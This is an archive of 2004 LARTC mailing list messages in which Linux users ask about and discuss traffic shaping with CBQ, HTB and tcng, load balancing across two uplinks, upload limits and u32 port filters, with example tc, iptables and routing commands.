From lista@umeda.com.br  Fri Oct  1 13:35:16 2004
From: lista@umeda.com.br (James Lista)
Date: Fri, 1 Oct 2004 09:35:16 -0300
Subject: [LARTC] cbq
References: <20040930145420.M59649@tiger.towson.edu>
Message-ID: <004301c4a7b3$1b483c80$480710ac@d3lta>

buddies,

I am totally newbie to band control...  I created a shell script that
generates cbq files like below (for example, someone in my lan with IP
172.16.7.72).
my question is:  is the file name format and are the lines below right to
limit band for this one with this IP ??  ( I read cbq.ini 0.7.3.. and cannot
understand it well)..

thanks for you attention

----------------------------------------------------------------------------
--------------

----> cbq-072.out-72
DEVICE=eth0,10Mbit,1Mbit
RATE=32kbit
WEIGHT=3Kbit
PRIO=5
RULE=172.16.7.72/32,
BOUNDED=yes
ISOLATED=yes

----> cbq-072.in-72
DEVICE=eth1,10Mbit,1Mbit
RATE=32kbit
WEIGHT=3Kbit
PRIO=5
RULE=172.16.7.72/32
BOUNDED=yes
ISOLATED=yes


From Marcin Sura <slacklist@op.pl>  Fri Oct  1 13:54:09 2004
From: Marcin Sura <slacklist@op.pl> (Marcin Sura)
Date: Fri, 1 Oct 2004 14:54:09 +0200
Subject: [LARTC] cbq
In-Reply-To: <004301c4a7b3$1b483c80$480710ac@d3lta>
References: <20040930145420.M59649@tiger.towson.edu>
 <004301c4a7b3$1b483c80$480710ac@d3lta>
Message-ID: <113097450.20041001145409@op.pl>

Witam

Friday, October 1, 2004, 2:35:16 PM, you wrote:

> I am totally newbie to band control...

If you are newbie, then better focus on htb or hfsc. CBQ is very
unfriendly, specially for newbies :) (And that's a reason why i'm
using htb :) )

-- 
Pozdrawiam
Marcin, slacklist@op.pl                         


From ireksw@o2.pl  Fri Oct  1 15:25:38 2004
From: ireksw@o2.pl (ireksw@o2.pl)
Date: Fri, 01 Oct 2004 16:25:38 +0200
Subject: [LARTC] unsubscribe
In-Reply-To: <20041001051107.9175.78875.Mailman@outpost.ds9a.nl>
References: <20041001051107.9175.78875.Mailman@outpost.ds9a.nl>
Message-ID: <415D68E2.5030902@o2.pl>

Dnia 2004-10-01 07:11, U¿ytkownik lartc-request@mailman.ds9a.nl napisa³:

>Send LARTC mailing list submissions to
>	lartc@mailman.ds9a.nl
>
>To subscribe or unsubscribe via the World Wide Web, visit
>	http://mailman.ds9a.nl/mailman/listinfo/lartc
>or, via email, send a message with subject or body 'help' to
>	lartc-request@mailman.ds9a.nl
>
>You can reach the person managing the list at
>	lartc-admin@mailman.ds9a.nl
>
>When replying, please edit your Subject line so it is more specific
>than "Re: Contents of LARTC digest..."
>
>
>Today's Topics:
>
>   1. Re: tc monitoring (Jason Boxman)
>   2. iproute2-2.2.4 (Harini Cheruvu)
>   3. RE: tc monitoring (Michael S. Kazmier)
>
>--__--__--
>
>Message: 1
>From: Jason Boxman <jasonb@edseek.com>
>Reply-To: jasonb@edseek.com
>Organization: The Vortex
>To: lartc@mailman.ds9a.nl
>Subject: Re: [LARTC] tc monitoring
>Date: Thu, 30 Sep 2004 10:37:52 -0400
>
>On Thursday 30 September 2004 09:06, Andreas Klauer wrote:
><snip>
>  
>
>>Ah, sorry, I've never used GRED before, and I wanted to avoid
>>QDisc-specific parsing as much as possible. The tc command really isn't
>>suited for this kind of application. I really wish there was a library
>>with a decent API that lets you access this data directly. Parsing tc
>>output is just a bad hack. ;)
>>    
>>
>
>There's also SNMP extensions for QoS.
>
>http://x-ray.prokon.cz/data/snmp/downloads/
>
>  
>


From rsouzag@yahoo.com.br  Fri Oct  1 15:50:09 2004
From: rsouzag@yahoo.com.br (Rafael de Souza)
Date: Fri, 01 Oct 2004 11:50:09 -0300
Subject: [LARTC] Traffic Balance
Message-ID: <415D6EA1.1060509@yahoo.com.br>

Hi list,

I have to configure a internet server with linux.
I need configure traffic balance between dsl and cable connection.
Somobody sugestion some solution?

Thanks

Rafael de Souza

From Marcin Sura <slacklist@op.pl>  Fri Oct  1 16:00:04 2004
From: Marcin Sura <slacklist@op.pl> (Marcin Sura)
Date: Fri, 1 Oct 2004 17:00:04 +0200
Subject: [LARTC] Traffic Balance
In-Reply-To: <415D6EA1.1060509@yahoo.com.br>
References: <415D6EA1.1060509@yahoo.com.br>
Message-ID: <1936401164.20041001170004@op.pl>

Witam

Friday, October 1, 2004, 4:50:09 PM, you wrote:

> Hi list,

> I have to configure a internet server with linux.
> I need configure traffic balance between dsl and cable connection.
> Somobody sugestion some solution?

Yes, read Linux Advanced Routing & Traffic Control at http://lartc.org/

-- 
Pozdrawiam
Marcin, slacklist@op.pl                         


From alexis@tpys.com.ar  Fri Oct  1 16:08:10 2004
From: alexis@tpys.com.ar (Alexis)
Date: Fri, 1 Oct 2004 12:08:10 -0300
Subject: [LARTC] Traffic Balance
In-Reply-To: <415D6EA1.1060509@yahoo.com.br>
Message-ID: <20041001154948.287E94466@outpost.ds9a.nl>

http://www.lartc.org/howto/lartc.rpdb.multiple-links.html

Maybe this could help.
 

> -----Mensaje original-----
> De: lartc-admin@mailman.ds9a.nl 
> [mailto:lartc-admin@mailman.ds9a.nl] En nombre de Rafael de Souza
> Enviado el: Viernes, 01 de Octubre de 2004 11:50
> Para: lartc@mailman.ds9a.nl
> Asunto: [LARTC] Traffic Balance
> 
> Hi list,
> 
> I have to configure a internet server with linux.
> I need configure traffic balance between dsl and cable connection.
> Somobody sugestion some solution?
> 
> Thanks
> 
> Rafael de Souza
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> 


From abonilla@linuxwireless.org  Fri Oct  1 12:05:32 2004
From: abonilla@linuxwireless.org (Alejandro Bonilla)
Date: Fri, 01 Oct 2004 05:05:32 -0600
Subject: [LARTC] Shaper...
In-Reply-To: <41596D01.4050306@linuxwireless.org>
References: <41596D01.4050306@linuxwireless.org>
Message-ID: <415D39FC.7010603@linuxwireless.org>

Hi,

    I'm trying shaper, 2.6.8 kernel, with almost all the QoS inherited 
in the kernel.
I have debian Sid, with latest everything, I could say.

I commented out CBQ_PROBE=" " to use Inherited kernel support.

Only problem is that the client, which is the test one, 192.168.10.10 
can still download at 100kb Per Second(My bandwidth)

router:~# cat /etc/shaper/cbq-160.down
DEVICE=eth0,100Mbit,10Mbit
RATE=160Kbit
WEIGHT=10Kbit
PRIO=5
RULE=192.168.10.10

router:~# /etc/init.d/shaper compile
/sbin/tc qdisc del dev eth0 root
/sbin/tc qdisc add dev eth0 root handle 1 cbq bandwidth 100Mbit avpkt 
1000 cell 8
/sbin/tc class change dev eth0 root cbq weight 10Mbit allot 1514

/sbin/tc class add dev eth0 parent 1: classid 1:160 cbq bandwidth 
100Mbit rate 160Kbit weight 10Kbit prio 5 allot 1514 cell 8 maxburst 20 
avpkt 1000 bounded
/sbin/tc qdisc add dev eth0 parent 1:160 handle 160 tbf rate 160Kbit 
buffer 10Kb/8 limit 15Kb mtu 1500
/sbin/tc filter add dev eth0 parent 1:0 protocol ip prio 100 u32 match 
ip dst 192.168.10.10 classid 1:160

echo "shaper."

Starting CBQ traffic shaping: RTNETLINK answers: No such file or directory
shaper.


Thanks!!!

From zytek-lists@ostrow-wlkp.net  Sat Oct  2 00:15:38 2004
From: zytek-lists@ostrow-wlkp.net (zytek)
Date: Sat, 2 Oct 2004 01:15:38 +0200
Subject: [LARTC] cbq
In-Reply-To: <004301c4a7b3$1b483c80$480710ac@d3lta>
References: <20040930145420.M59649@tiger.towson.edu> <004301c4a7b3$1b483c80$480710ac@d3lta>
Message-ID: <200410020115.38916.zytek-lists@ostrow-wlkp.net>

Dnia pi=B1tek 01 pa=BCdziernik 2004 14:35, James Lista napisa=B3:

[...]

remember, that when you are shaping traffic on your link to your ISP (host'=
s=20
upload) then you cannot use it's IP because it has been already NATed.

try marking packets outgoing from this IP with iptables and then shape it=20
using MARK value in htb/cbq.init

=2D-=20
=2E: Jakub G=B3azik (zytek)
=2E: email: zytek@ostrow-wlkp.net
=2E: JID: zytek@azazel.ostrow-wlkp.net
=2E: http://www.misiaj.sie.pl [obsolete]

From favero@grad.ufsc.br  Sat Oct  2 00:26:55 2004
From: favero@grad.ufsc.br (favero@grad.ufsc.br)
Date: Fri, 01 Oct 2004 20:26:55 -0300 (EST)
Subject: [LARTC] Traffic Balance
Message-ID: <1096673215.415de7bf5c5ca@webmail.grad.ufsc.br>

list members: if u don´t wanna help, dont disturb! damn god! 
everybody here know that LARTC tutorial to load balance is 
incomplete!
Alexis: try http://www.ssi.bg/~ja/nano.txt and search the list. 
U will find a message i wrote that explain everything.

----- Original Message ----- 
From: "Alexis" <alexis@tpys.com.ar>
To: "'Rafael de Souza'" <rsouzag@yahoo.com.br>; 
<lartc@mailman.ds9a.nl>
Sent: Friday, October 01, 2004 12:08 PM
Subject: RE: [LARTC] Traffic Balance


> http://www.lartc.org/howto/lartc.rpdb.multiple-links.html
> 
> Maybe this could help.

From lartc@24x7linux.com  Sat Oct  2 11:49:06 2004
From: lartc@24x7linux.com (Jose Luis Domingo Lopez)
Date: Sat, 2 Oct 2004 12:49:06 +0200
Subject: [LARTC] Traffic Balance
In-Reply-To: <1096673215.415de7bf5c5ca@webmail.grad.ufsc.br>
References: <1096673215.415de7bf5c5ca@webmail.grad.ufsc.br>
Message-ID: <20041002104906.GA3378@localhost>

--jI8keyz6grp/JLjh
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Friday, 01 October 2004, at 20:26:55 -0300,
favero@grad.ufsc.br wrote:

> list members: if u don?t wanna help, dont disturb! damn god!=20
> everybody here know that LARTC tutorial to load balance is=20
> incomplete!
>
=46rom the information provided by the original poster it doesn't seem
very clear that he knows the existence of lartc.org, or maybe he has not
done any kind of searching for information regarding what he is supposed
trying to achieve.

With respect to the completeness of the LARTC tutorial, Bert is always
willing to take patches and additional documentation from contributors.
Have you submitted _any_?

Greetings.

--=20
Jose Luis Domingo Lopez
Linux Registered User #189436     Debian Linux Sid (Linux 2.6.9-rc1)

--jI8keyz6grp/JLjh
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBXoeiao1/w/yPYI0RAsGpAJ9KFFBZxtrt9UTmnZb7DmiHqdMPWQCfaISp
+BOUXfnu456/ANet7Hfi2Fw=
=jFgE
-----END PGP SIGNATURE-----

--jI8keyz6grp/JLjh--

From nmacia@cespi.unlp.edu.ar  Sat Oct  2 13:13:02 2004
From: nmacia@cespi.unlp.edu.ar (=?iso-8859-1?b?Tmljb2zhcw==?= Macia)
Date: Sat,  2 Oct 2004 09:13:02 -0300
Subject: [LARTC] Re: LARTC digest, Vol 1 #1927 - 9 msgs
In-Reply-To: <20041002051054.7568.11027.Mailman@outpost.ds9a.nl>
References: <20041002051054.7568.11027.Mailman@outpost.ds9a.nl>
Message-ID: <1096719182.415e9b4e445e3@163.10.0.84>

> Message: 9
> To: lartc@mailman.ds9a.nl
> Subject: Re: [LARTC] Traffic Balance
> Date: Fri, 01 Oct 2004 20:26:55 -0300 (EST)
> From: favero@grad.ufsc.br
> 
> list members: if u don´t wanna help, dont disturb! damn god! 
> everybody here know that LARTC tutorial to load balance is 
> incomplete!
> Alexis: try http://www.ssi.bg/~ja/nano.txt and search the list. 
> U will find a message i wrote that explain everything.
> 

maybe this work

ip route add default scope global equalize \ 
          nexthop via <your default GW1> dev <interface ethX> weight 1 \ 
          nexthop via <your default GW2> dev <interface ethY> weight 1 


Nicolas Macia

From Andreas.Klauer@metamorpher.de  Sat Oct  2 14:49:33 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Sat, 02 Oct 2004 15:49:33 +0200
Subject: [LARTC] Traffic Balance
In-Reply-To: <20041002104906.GA3378@localhost>
References: <1096673215.415de7bf5c5ca@webmail.grad.ufsc.br> <20041002104906.GA3378@localhost>
Message-ID: <415EB1ED.6030105@metamorpher.de>

Jose Luis Domingo Lopez wrote:
> With respect to the completeness of the LARTC tutorial, Bert is always
> willing to take patches and additional documentation from contributors.
> Have you submitted _any_?

I submitted a patch a few months ago (though not on this topic), but 
never got any response. And IIRC someone on #lartc told me that it was 
currently inactive/unmaintained due to lack of time or something like 
that. Never bothered to resend it. ;-)

Andreas

From wa@almesberger.net  Sun Oct  3 23:56:45 2004
From: wa@almesberger.net (Werner Almesberger)
Date: Sun, 3 Oct 2004 19:56:45 -0300
Subject: [LARTC] tcng version 10b
Message-ID: <20041003195645.A13962@almesberger.net>

... is on SourceForge:

http://tcng.sourceforge.net/dist/tcng-10b.tar.gz
md5sum d28bc6b1ed8973814213942288ab5d18

See also http://tcng.sourceforge.net/

This release fixes a few compatibility problems with
internationalization and with kernels using strange
version names.

Also, the "mtu" parameter of TBF is now optional.

The complete list of changes is below.

- Werner

----------------------------------- CHANGES -----------------------------------

- the "mtu" parameter in TBF is now optional
- tcsim now uses KVERSION[NUM] instead of KFULLVERSION[NUM] to avoid breaking
  if EXTRAVERSION contains multiple dots or other surprises (reported by
  Eduardo Grosclaude)
- scripts/runtests.sh now runs commands with LANG=C, to avoid localized error
  messages (reported by Eduardo Grosclaude)

-- 
  _________________________________________________________________________
 / Werner Almesberger, Buenos Aires, Argentina         wa@almesberger.net /
/_http://www.almesberger.net/____________________________________________/

From emo terziev <foxy202@gmail.com>  Mon Oct  4 09:23:33 2004
From: emo terziev <foxy202@gmail.com> (emo terziev)
Date: Mon, 4 Oct 2004 11:23:33 +0300
Subject: [LARTC] limited upload speed
Message-ID: <a763a15b0410040123540c8c74@mail.gmail.com>

HI all,
  
   What is best way to be limited upload speed from LAN users. I read
that it is possible to be done with IMQ interface or with limitation
over gateway interface of router(eth0 in  my "scheme"), but i cannot
chose what is preferred way and need from advice.

Please for advise, any example scripts or URL with tutorial are welcome :)
 I read couple times Linux Traffic Control.

                                      -----------------------------
      Internet ISP       --------| eth0             eth1 |-------   LOCAL LAN 
                                      -----------------------------

Best regards
Emo

From lartc@manchotnetworks.net  Mon Oct  4 09:31:35 2004
From: lartc@manchotnetworks.net (lartc@manchotnetworks.net)
Date: Mon, 04 Oct 2004 10:31:35 +0200
Subject: [LARTC] building module with tcng
Message-ID: <1096878695.8125.15.camel@drs0>

hi all,

i'm having problems building a module from my tcng configuration file.
could someone verify the syntax for building a kernel module?

i did it as shown below ... module gets built but i cannot load it.


thanks

charles

ps -- sorry, don't know c++ :-)





[root]# cat /etc/tcng.test

#define LAN "eth0"
#define LAN_INGRESS 750000
#define LAN_EGRESS 750000
 
dev LAN {
 
    egress {
        class ( <$adsl_high> ) if 1;
 
        htb ( ) { class ( rate LAN_EGRESS kbps, ceil LAN_EGRESS kbps ) {
 
            $adsl_high = class ( prio 1, rate LAN_EGRESS kbps, burst
6kB, ceil LAN_EGRESS kbps )
                { sfq ( perturb 10 sec ); };
 
            }
 
        }
 
    }
}

[root]# tcc -t c < /etc/tcng.test
 
# ================================ Device eth0
================================
 
tc qdisc add dev eth0 handle 1:0 root dsmark indices 2 default_index 0
tc qdisc add dev eth0 handle 2:0 parent 1:0 htb
tc class add dev eth0 parent 2:0 classid 2:1 htb rate 93750000bps ceil
93750000bps
tc class add dev eth0 parent 2:1 classid 2:2 htb rate 93750000bps ceil
93750000bps burst 6144 prio 1
tc qdisc add dev eth0 handle 3:0 parent 2:2 sfq perturb 10
tc filter add dev eth0 parent 2:0 protocol all prio 1 tcindex mask 0x1
shift 0
tc filter add dev eth0 parent 2:0 protocol all prio 1 handle 1 tcindex
classid 2:2
insmod cls__c010151.o
tc filter add dev eth0 parent 1:0 protocol all prio 1 _c010151


[root]# tc qdisc add dev eth0 handle 1:0 root dsmark indices 2
default_index 0
[root]# tc qdisc add dev eth0 handle 2:0 parent 1:0 htb
[root]# tc class add dev eth0 parent 2:0 classid 2:1 htb rate
93750000bps ceil 93750000bps
[root]# tc class add dev eth0 parent 2:1 classid 2:2 htb rate
93750000bps ceil 93750000bps burst 6144 prio 1
[root]# tc qdisc add dev eth0 handle 3:0 parent 2:2 sfq perturb 10
[root]# tc filter add dev eth0 parent 2:0 protocol all prio 1 tcindex
mask 0x1 shift 0
[root]# tc filter add dev eth0 parent 2:0 protocol all prio 1 handle 1
tcindex classid 2:2
[root]# insmod cls__c010151.o
cls__c010151.o: ELF file cls__c010151.o not a relocatable object
[root]# tc filter add dev eth0 parent 1:0 protocol all prio 1 _c01015
RTNETLINK answers: Invalid argument




From lartc@diab.org  Mon Oct  4 09:39:43 2004
From: lartc@diab.org (diab)
Date: Mon, 4 Oct 2004 10:39:43 +0200
Subject: [LARTC] limited upload speed
In-Reply-To: <a763a15b0410040123540c8c74@mail.gmail.com>
References: <a763a15b0410040123540c8c74@mail.gmail.com>
Message-ID: <138870407.20041004103943@diab.org>

we're doing it over the eth0.. i mean anything that comes from eth1
(upload) is shaped on eth0 when it would leave the router/shaper,
and downloads (coming in on eth0) are shaped when it gets router to
the users on eth1. Both are using HTB and it works just perfectly
fine.
-diab

-
diab
et>    What is best way to be limited upload speed from LAN users. I read
et> that it is possible to be done with IMQ interface or with limitation
et> over gateway interface of router(eth0 in  my "scheme"), but i cannot
et> chose what is preferred way and need from advice.

et> Please for advise, any example scripts or URL with tutorial are welcome :)
et>  I read couple times Linux Traffic Control.

et>                                       -----------------------------
et>       Internet ISP       --------| eth0             eth1 |-------   LOCAL LAN
et>                                       -----------------------------



From webmaster@familie-ott.info  Mon Oct  4 09:43:20 2004
From: webmaster@familie-ott.info (Stephan M. Ott)
Date: Mon, 4 Oct 2004 10:43:20 +0200
Subject: AW: [LARTC] limited upload speed
In-Reply-To: <a763a15b0410040123540c8c74@mail.gmail.com>
Message-ID: <006f01c4a9ee$398fc310$3700a8c0@nathanxp>

If LARTC wasn't enough or too detailed, try Wondershaper.
http://omg.wp.gg/wshaper-howto/

Stephan


-----Urspr=FCngliche Nachricht-----
Von: lartc-admin@mailman.ds9a.nl [mailto:lartc-admin@mailman.ds9a.nl] Im
Auftrag von emo terziev
Gesendet: Montag, 4. Oktober 2004 10:24
An: LARC
Betreff: [LARTC] limited upload speed

HI all,
 =20
   What is best way to be limited upload speed from LAN users. I read
that it is possible to be done with IMQ interface or with limitation
over gateway interface of router(eth0 in  my "scheme"), but i cannot
chose what is preferred way and need from advice.

Please for advise, any example scripts or URL with tutorial are welcome
:)
 I read couple times Linux Traffic Control.

                                      -----------------------------
      Internet ISP       --------| eth0             eth1 |-------
LOCAL LAN=20
                                      -----------------------------

Best regards
Emo



From rsenykoff@harrislogic.com  Mon Oct  4 16:15:01 2004
From: rsenykoff@harrislogic.com (rsenykoff@harrislogic.com)
Date: Mon, 4 Oct 2004 10:15:01 -0500
Subject: [LARTC] small kernel distro recommendations for QoS box
In-Reply-To: <006f01c4a9ee$398fc310$3700a8c0@nathanxp>
Message-ID: <OF64778ABC.CEA06D00-ON86256F23.005336C4-86256F23.0053C5BF@edapt.us>

This is a multipart message in MIME format.
--=_alternative 0053C5BC86256F23_=
Content-Type: text/plain; charset="US-ASCII"

Hello All.

I've built some boxes for QoS that work wonderfully. Much thanks to 
everyone's work on this project. Citrix + Videoconferencing are working 
great.

Thing is, I'd really like to not rely on the old 4GB drives in these 
machines. I would like to build a kernel small enough to put on a 32 or 64 
MB flash (compressed). Fedora Core 1, minimal install + bridge-utils is 
still around 500 MB (will probably be about 1/3 that compressed).

TIA
-Ron


--=_alternative 0053C5BC86256F23_=
Content-Type: text/html; charset="US-ASCII"


<br><font size=2 face="sans-serif">Hello All.</font>
<br>
<br><font size=2 face="sans-serif">I've built some boxes for QoS that work
wonderfully. Much thanks to everyone's work on this project. Citrix + Videoconferencing
are working great.</font>
<br>
<br><font size=2 face="sans-serif">Thing is, I'd really like to not rely
on the old 4GB drives in these machines. I would like to build a kernel
small enough to put on a 32 or 64 MB flash (compressed). Fedora Core 1,
minimal install + bridge-utils is still around 500 MB (will probably be
about 1/3 that compressed).</font>
<br>
<br><font size=2 face="sans-serif">TIA</font>
<br><font size=2 face="sans-serif">-Ron</font>
<br>
<br>
--=_alternative 0053C5BC86256F23_=--

From pnehls@ucsd.edu  Mon Oct  4 16:48:44 2004
From: pnehls@ucsd.edu (Patrick Nehls)
Date: Mon, 4 Oct 2004 08:48:44 -0700
Subject: [LARTC] small kernel distro recommendations for QoS box
Message-ID: <97FD0B9870B79742A7695D97CDA5C438D894B3@hdsmail.hds.ad.ucsd.edu>

This is a multi-part message in MIME format.

------_=_NextPart_001_01C4AA29.A0D4FD93
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Why not try something like Pebble linux from
http://www.nycwireless.net/pebble
=20
It is a stripped down Debian install that is aimed at running a wireless
hotspot but it is just Debian and you can install whatever you want. It
fits on a 64MB flash card but if you install almost anything you will
want a 128MB one. It does come with iptables and iproute2 tools as I
recall.
=20
Patrick

________________________________

From: lartc-admin@mailman.ds9a.nl [mailto:lartc-admin@mailman.ds9a.nl]
On Behalf Of rsenykoff@harrislogic.com
Sent: Monday, October 04, 2004 8:15 AM
To: lartc@mailman.ds9a.nl
Subject: [LARTC] small kernel distro recommendations for QoS box



Hello All.=20

I've built some boxes for QoS that work wonderfully. Much thanks to
everyone's work on this project. Citrix + Videoconferencing are working
great.=20

Thing is, I'd really like to not rely on the old 4GB drives in these
machines. I would like to build a kernel small enough to put on a 32 or
64 MB flash (compressed). Fedora Core 1, minimal install + bridge-utils
is still around 500 MB (will probably be about 1/3 that compressed).=20

TIA=20
-Ron=20



------_=_NextPart_001_01C4AA29.A0D4FD93
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<META content=3D"MSHTML 6.00.2900.2180" name=3DGENERATOR></HEAD>
<BODY>
<DIV dir=3Dltr align=3Dleft><SPAN class=3D699454515-04102004><FONT =
face=3DArial=20
color=3D#0000ff size=3D2>Why not try something like Pebble linux from <A =

href=3D"http://www.nycwireless.net/pebble">http://www.nycwireless.net/peb=
ble</A></FONT></SPAN></DIV>
<DIV dir=3Dltr align=3Dleft><SPAN class=3D699454515-04102004><FONT =
face=3DArial=20
color=3D#0000ff size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV dir=3Dltr align=3Dleft><SPAN class=3D699454515-04102004><FONT =
face=3DArial=20
color=3D#0000ff size=3D2>It is a stripped down Debian install that is =
aimed at=20
running a wireless hotspot but it is just Debian and you can install =
whatever=20
you want. It fits on a 64MB flash card but if you install almost =
anything you=20
will want a 128MB one. It does come with iptables and iproute2 tools as =
I=20
recall.</FONT></SPAN></DIV>
<DIV dir=3Dltr align=3Dleft><SPAN class=3D699454515-04102004><FONT =
face=3DArial=20
color=3D#0000ff size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV dir=3Dltr align=3Dleft><SPAN class=3D699454515-04102004><FONT =
face=3DArial=20
color=3D#0000ff size=3D2>Patrick</FONT></SPAN></DIV><BR>
<DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr align=3Dleft>
<HR tabIndex=3D-1>
<FONT face=3DTahoma size=3D2><B>From:</B> lartc-admin@mailman.ds9a.nl=20
[mailto:lartc-admin@mailman.ds9a.nl] <B>On Behalf Of=20
</B>rsenykoff@harrislogic.com<BR><B>Sent:</B> Monday, October 04, 2004 =
8:15=20
AM<BR><B>To:</B> lartc@mailman.ds9a.nl<BR><B>Subject:</B> [LARTC] small =
kernel=20
distro recommendations for QoS box<BR></FONT><BR></DIV>
<DIV></DIV><BR><FONT face=3Dsans-serif size=3D2>Hello All.</FONT> =
<BR><BR><FONT=20
face=3Dsans-serif size=3D2>I've built some boxes for QoS that work =
wonderfully. Much=20
thanks to everyone's work on this project. Citrix + Videoconferencing =
are=20
working great.</FONT> <BR><BR><FONT face=3Dsans-serif size=3D2>Thing is, =
I'd really=20
like to not rely on the old 4GB drives in these machines. I would like =
to build=20
a kernel small enough to put on a 32 or 64 MB flash (compressed). Fedora =
Core 1,=20
minimal install + bridge-utils is still around 500 MB (will probably be =
about=20
1/3 that compressed).</FONT> <BR><BR><FONT face=3Dsans-serif =
size=3D2>TIA</FONT>=20
<BR><FONT face=3Dsans-serif size=3D2>-Ron</FONT> <BR><BR></BODY></HTML>

------_=_NextPart_001_01C4AA29.A0D4FD93--

From smohan@vsnl.com  Mon Oct  4 16:55:43 2004
From: smohan@vsnl.com (S Mohan)
Date: Mon, 4 Oct 2004 21:25:43 +0530
Subject: [LARTC] small kernel distro recommendations for QoS box
In-Reply-To: <OF64778ABC.CEA06D00-ON86256F23.005336C4-86256F23.0053C5BF@edapt.us>
Message-ID: <20041004155615.90362444C@outpost.ds9a.nl>

Why not try LEAF or Embedian? I use LEAF and it works well. Will take you a
while to get used to it as opposed to standard RH kind of distro. The LEAF
site is pretty good. I can also help you offlist, if need be. I'm also the
maintainer of the QoS and bridging chapters on the LEAF Users Guide. 

Warm regards
Mohan 
________________________________

	From: lartc-admin@mailman.ds9a.nl
[mailto:lartc-admin@mailman.ds9a.nl] On Behalf Of rsenykoff@harrislogic.com
	Sent: Monday, October 04, 2004 8:45 PM
	To: lartc@mailman.ds9a.nl
	Subject: [LARTC] small kernel distro recommendations for QoS box
	
	

	Hello All. 
	
	I've built some boxes for QoS that work wonderfully. Much thanks to
everyone's work on this project. Citrix + Videoconferencing are working
great. 
	
	Thing is, I'd really like to not rely on the old 4GB drives in these
machines. I would like to build a kernel small enough to put on a 32 or 64
MB flash (compressed). Fedora Core 1, minimal install + bridge-utils is
still around 500 MB (will probably be about 1/3 that compressed). 
	
	TIA 
	-Ron 
	
	



From rsenykoff@harrislogic.com  Mon Oct  4 17:37:50 2004
From: rsenykoff@harrislogic.com (rsenykoff@harrislogic.com)
Date: Mon, 4 Oct 2004 11:37:50 -0500
Subject: [LARTC] small kernel distro recommendations for QoS box
In-Reply-To: <20041004155615.90362444C@outpost.ds9a.nl>
Message-ID: <OF1BD4C36D.D037171D-ON86256F23.005B006F-86256F23.005B5AF2@edapt.us>

This is a multipart message in MIME format.
--=_alternative 005B5AF186256F23_=
Content-Type: text/plain; charset="US-ASCII"

<snip>
Why not try LEAF or Embedian? I use LEAF and it works well. Will take you 
a
while to get used to it as opposed to standard RH kind of distro. The LEAF
site is pretty good. I can also help you offlist, if need be. I'm also the
maintainer of the QoS and bridging chapters on the LEAF Users Guide. 

Warm regards
Mohan
</snip>

LEAF http://leaf.sourceforge.net/ looks to be a great option. Is the 
Bering fork where I should be looking (2.4 kernel)? I'm not really 
interested in the Shorewall functionality of it. Feel free to contact me 
personally as we're now getting off-topic for this forum.

Thanks!
-Ron
--=_alternative 005B5AF186256F23_=
Content-Type: text/html; charset="US-ASCII"


<br><font size=2 face="sans-serif">&lt;snip&gt;</font>
<br><font size=2><tt>Why not try LEAF or Embedian? I use LEAF and it works
well. Will take you a<br>
while to get used to it as opposed to standard RH kind of distro. The LEAF<br>
site is pretty good. I can also help you offlist, if need be. I'm also
the<br>
maintainer of the QoS and bridging chapters on the LEAF Users Guide. <br>
<br>
Warm regards<br>
Mohan</tt></font>
<br><font size=2><tt>&lt;/snip&gt;</tt></font>
<br>
<br><font size=2><tt>LEAF http://leaf.sourceforge.net/ looks to be a great
option. Is the Bering fork where I should be looking (2.4 kernel)? I'm
not really interested in the Shorewall functionality of it. Feel free to
contact me personally as we're now getting off-topic for this forum.</tt></font>
<br>
<br><font size=2><tt>Thanks!</tt></font>
<br><font size=2><tt>-Ron</tt></font>
--=_alternative 005B5AF186256F23_=--

From gt90bh@zipmail.com.br  Tue Oct  5 12:06:13 2004
From: gt90bh@zipmail.com.br (gt90bh@zipmail.com.br)
Date: Tue, 5 Oct 2004 08:06:13 -0300
Subject: [LARTC] =?iso-8859-1?Q?U32=20Port=20Range?=
Message-ID: <416254870000037B@www.zipmail.com.br>

Hi all...
How do i set U32 to filter a port range, instead of a single port?
In normal use: source port 80 we use: "... match ip sport 80 0xffff ..."
- I know that is something about the 0xffff parameter....

I need to filter ports 1 ~ 1024 to a higher priority class... i tried wit=
h
IPTABLES MARK and TC FW, but it's not working....

(...)
# iptables -t mangle -A PREROUTING -p tcp -sport 10:1024 -j MARK --set-ma=
rk
2
# tc filter add dev eth1 protocol ip parent 1:0 prio 1 handle 2 fw classi=
d
1:1
(...)







------------------------------------------
Use o melhor sistema de busca da Internet
Radar UOL - http://www.radaruol.com.br




From arny@ats.s.bawue.de  Tue Oct  5 15:24:02 2004
From: arny@ats.s.bawue.de (Thilo Schulz)
Date: Tue, 5 Oct 2004 16:24:02 +0200
Subject: [LARTC] U32 Port Range
In-Reply-To: <416254870000037B@www.zipmail.com.br>
References: <416254870000037B@www.zipmail.com.br>
Message-ID: <200410051624.09823.arny@ats.s.bawue.de>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Tuesday 05 October 2004 13:06, gt90bh@zipmail.com.br wrote:
> - I know that is something about the 0xffff parameter....

I guess it is some kind of bitmask and works similarly to a netmask. If you 
only want to categorise traffic from port 1-1024, using "sport 0 0xfbff" 
*might* work, though I am not sure about that. Some core QoS developers on 
the kernel may give you more insight than I am able to do. But you can still 
try it, better than nothing :).

- -- 
Thilo Schulz

My public PGP key is available at http://home.bawue.de/~arny/public_key.asc
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBYq6JZx4hBtWQhl4RAsKvAKDVX5mv6HurtkNCuTqt8RNZg1lUTQCeP5NS
TF7X0Qhn7GkIXhnviZ2rQTw=
=L6y/
-----END PGP SIGNATURE-----

